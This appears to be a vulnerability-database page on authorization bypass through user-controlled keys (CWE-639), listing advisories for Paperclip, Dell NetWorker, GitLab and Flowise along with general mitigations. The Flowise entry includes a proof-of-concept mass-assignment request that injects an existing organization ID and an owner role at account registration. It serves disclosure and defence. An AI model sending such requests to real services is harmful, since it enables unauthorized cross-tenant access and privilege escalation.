"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}
GHSA-4878-4H8J-FWV8
Vulnerability from github – Published: 2024-12-03 15:31 – Updated: 2024-12-03 15:31Dell NetWorker, version(s) 19.10, contain(s) an Authorization Bypass Through User-Controlled Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.
{
"affected": [],
"aliases": [
"CVE-2024-42422"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-03T13:15:04Z",
"severity": "HIGH"
},
"details": "Dell NetWorker, version(s) 19.10, contain(s) an Authorization Bypass Through User-Controlled Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.",
"id": "GHSA-4878-4h8j-fwv8",
"modified": "2024-12-03T15:31:24Z",
"published": "2024-12-03T15:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42422"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000255892/dsa-2024-478-security-update-for-dell-networker-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-48JV-2RRR-W2F7
Vulnerability from github – Published: 2022-08-06 00:00 – Updated: 2022-08-12 00:01An issue has been discovered in GitLab EE affecting all versions starting from 13.10 before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1. GitLab's Jira integration has an insecure direct object reference vulnerability that may be exploited by an attacker to leak Jira issues.
{
"affected": [],
"aliases": [
"CVE-2022-2499"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-05T16:15:00Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab EE affecting all versions starting from 13.10 before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1. GitLab\u0027s Jira integration has an insecure direct object reference vulnerability that may be exploited by an attacker to leak Jira issues.",
"id": "GHSA-48jv-2rrr-w2f7",
"modified": "2022-08-12T00:01:24Z",
"published": "2022-08-06T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2499"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1538068"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2499.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/360800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48M6-CH88-55MJ
Vulnerability from github – Published: 2026-04-16 21:44 – Updated: 2026-04-24 20:57Summary
An improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.
Details
The POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.
As a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.
This behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.
PoC
Send a standard registration request:
POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json
{
"user": {
"name": "Test User",
"email": "testuser@example.com",
"credential": "StrongPassword123!"
}
}
Observe the 201 Created response returning a newly created user and related objects (organization, workspace, roles).
Send a modified registration request that injects additional server-managed fields and nested objects:
POST /api/v1/account/register HTTP/2 Host: cloud.flowiseai.com Content-Type: application/json
{
"user": {
"name": "Injected User",
"email": "injected@example.com",
"credential": "StrongPassword123!",
"createdBy": "<arbitrary-uuid>",
"updatedBy": "<arbitrary-uuid>",
"createdDate": "1999-12-27T13:10:47.666Z",
"updatedDate": "1999-12-27T13:10:47.666Z"
},
"organization": {
"id": "<existing-organization-uuid>",
"name": "Injected Organization"
},
"organizationUser": {
"organizationId": "<existing-organization-uuid>",
"roleId": "<owner-role-uuid>"
}
}
Observe that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.
Impact
- Vulnerability Class: Mass Assignment / JSON Injection / Improper Input Validation.
- Who is impacted: All deployments of Flowise Cloud exposing the registration endpoint.
By supplying a known organizationId during registration, an unauthenticated attacker can create a new user account directly associated with an existing organization they do not belong to. This results in unauthorized cross-tenant access and privilege escalation at account creation time, completely bypassing organizational ownership and trust boundaries.
Security Consequences:
- Client-controlled manipulation of server-managed fields (audit timestamps, ownership metadata).
- Unauthorized association of newly created accounts with existing organizations.
- Injection of role and membership relationships during registration.
- Violation of trust boundaries in a multi-tenant environment, increasing the risk of privilege abuse and audit integrity failures.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41267"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:44:24Z",
"nvd_published_at": "2026-04-23T20:16:15Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.\n\n### Details\n\nThe POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.\n\nAs a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.\n\nThis behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.\n\n### PoC\nSend a standard registration request:\n\n```http\nPOST /api/v1/account/register HTTP/2\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\n \"user\": {\n \"name\": \"Test User\",\n \"email\": \"testuser@example.com\",\n \"credential\": \"StrongPassword123!\"\n }\n}\n```\n\n\nObserve the 201 Created response returning a newly created user and related objects (organization, workspace, roles).\n\nSend a modified registration request that injects additional server-managed fields and nested objects:\n\nPOST /api/v1/account/register HTTP/2\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n```http\n{\n \"user\": {\n \"name\": \"Injected User\",\n \"email\": \"injected@example.com\",\n \"credential\": \"StrongPassword123!\",\n \"createdBy\": \"\u003carbitrary-uuid\u003e\",\n \"updatedBy\": \"\u003carbitrary-uuid\u003e\",\n \"createdDate\": \"1999-12-27T13:10:47.666Z\",\n \"updatedDate\": \"1999-12-27T13:10:47.666Z\"\n },\n \"organization\": {\n \"id\": \"\u003cexisting-organization-uuid\u003e\",\n \"name\": \"Injected Organization\"\n },\n \"organizationUser\": {\n \"organizationId\": \"\u003cexisting-organization-uuid\u003e\",\n \"roleId\": \"\u003cowner-role-uuid\u003e\"\n }\n}\n```\n\n\nObserve that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.\n\n### Impact\n- Vulnerability Class: Mass Assignment / JSON Injection / Improper Input Validation.\n- Who is impacted: All deployments of Flowise Cloud exposing the registration endpoint.\n\nBy supplying a known organizationId during registration, an unauthenticated attacker can create a new user account directly associated with an existing organization they do not belong to. This results in unauthorized cross-tenant access and privilege escalation at account creation time, completely bypassing organizational ownership and trust boundaries.\n\n**Security Consequences**:\n\n1. Client-controlled manipulation of server-managed fields (audit timestamps, ownership metadata).\n2. Unauthorized association of newly created accounts with existing organizations.\n3. Injection of role and membership relationships during registration.\n4. Violation of trust boundaries in a multi-tenant environment, increasing the risk of privilege abuse and audit integrity failures.",
"id": "GHSA-48m6-ch88-55mj",
"modified": "2026-04-24T20:57:49Z",
"published": "2026-04-16T21:44:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-48m6-ch88-55mj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41267"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flowise: Improper Mass Assignment in Account Registration Enables Unauthorized Organization Association"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.